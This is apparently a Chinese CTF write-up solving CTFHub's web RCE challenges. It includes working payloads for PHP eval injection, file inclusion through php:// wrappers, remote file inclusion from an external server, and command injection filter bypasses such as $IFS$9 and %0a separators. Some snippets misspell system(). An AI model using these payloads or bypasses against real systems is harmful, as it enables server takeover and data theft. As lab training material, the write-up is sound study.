Web安全基础 - RCE CTFHub
Web安全基础 - RCE CTFhub
题目来自CTFHub,Web方向技能树Rce部分https://www.ctfhub.com/#/skilltree
基本介绍
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码。
为了实现特定效果,后台有时候也会把用户的输入作为代码的一部分进行执行,服务器没有针对执行函数做过滤就执行命令时就会产生该漏洞。
php可能产生RCE的常见函数:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
$_REQUEST既可以接收get参数,又可以接受post参数。
eval函数可以执行php代码,直接写一句话木马
http://challenge-8f3b358611f6002d.sandbox.ctfhub.com:10800/?cmd=$_POST[%22cmd%22]
doughnuts连接成功
在目录简单找一下就能发现flag,一般都在根目录
文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?
题目给出了shell.txt,不用再写一句话木马了,我们包含一下。
根目录下cat flag
ctfhub{4b4829e63f7df5d8916a07a9}
php://input
php://input是php语言中一个只读的数据流;通过"php://input",可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非"multipart/form-data"的所有数据;"php://input"一般用来读取POST上来,除已被处理以外的剩余数据。
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
可以发现这里的phpinfo其实是include包含的内容。
在hackbar内直接POST无法得到命令执行的结果,使用BurpSuite可以,不知为何。
这里使用HackBar进行post请求,在BurpSuite内添加<?php systeam("ls /"); ?>
重复上述,添加上<?php systeam("cat flag_6452"); ?>
读取源代码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag
这两道题目其实是考察了php伪协议的知识点,具体可以参考https://segmentfault.com/a/1190000018991087
在CTF中,我们经常通过php://filter来读取源码,php://input来执行php代码。
payload:http://challenge-472c4ff336f650c4.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag
远程包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
和文件包含那道题类似,但是这里没有给我们直接可以执行的webshell,因为是RFI,所以我们向另一个服务器上上传再构造payload即可。
http://challenge-a05e7408f6523c66.sandbox.ctfhub.com:10800/?file=http:/xxx:81/upload/eval.php
命令注入
无过滤注入
我们使用;或者|运算符,ls确定文件;ls -l
然后;cat 245262950117066.php|base64
这里直接cat没有回显,推测是输出被浏览器解释为注释,转换为base64发现回显,或者用F12查看页面源码也可以发现回显(快做完了才发现
解密后得到
过滤cat
思路和上一题一样,先看有没有文件
(!preg_match_all("/cat/", $ip, $m))
这里只过滤了cat,我们还有很多其他指令可以达到类似效果head,tail,more,less,tac,sed,vi,vim,grep,od,sort,uniq,file -f,nl
payload:|head flag_xxx.php |base64
ctfhub{92f1d0742dee48139e82b483}
过滤空格
空格过滤可以使用linux下的$IFS$9来代替
常见的空格绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、
payload:;cat$IFS$9flag_2798498929898.php|base64
过滤目录分隔符
这次flag在一个叫flag_is_here的文件夹里,不使用/即可;cd flag_is_here;cat *|base64
回显如下:
Array
(
[0] => PD9waHAgLy8gY3RmaHViezFiYTJhMDFhMGIwNmZlZGFiNzZkNmY4Nn0K
)
ctfhub{1ba2a01a0b06fedab76d6f86}
过滤运算符
过滤了(||&)几种运算符
不使用管道运算符接口
payload:
1 : ;ls
2 : ;base64 flag_140863035031052.php > a
3 : ;cat a
综合过滤练习
过滤了(||&|;| |/|cat|flag|ctfhub)
利用linux下一类少见的命令分隔符:%0a、%0d、%0D%0A,其实也就是回车和换行来分割ping。
字符串的过滤可以利用十六进制编码或者\和'等符号来绕过
这道题直接在输入框里面输入的话%会被url编码为%25,所以直接构造url即可。
http://challenge-e6c4aa017ced01ae.sandbox.ctfhub.com:10800/?ip=%0Acd$IFS$9f\lag_is_here%0Abase64$IFS$9fl\ag_211411285528280.php%3Ea
总结
总的来说这套题目相对简单,没有很偏很怪的考点但是也不是特别全面,比如https://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/"这篇里的内容很多就没有考察到(
还是要做更多题才能让自己的知识体系更全面。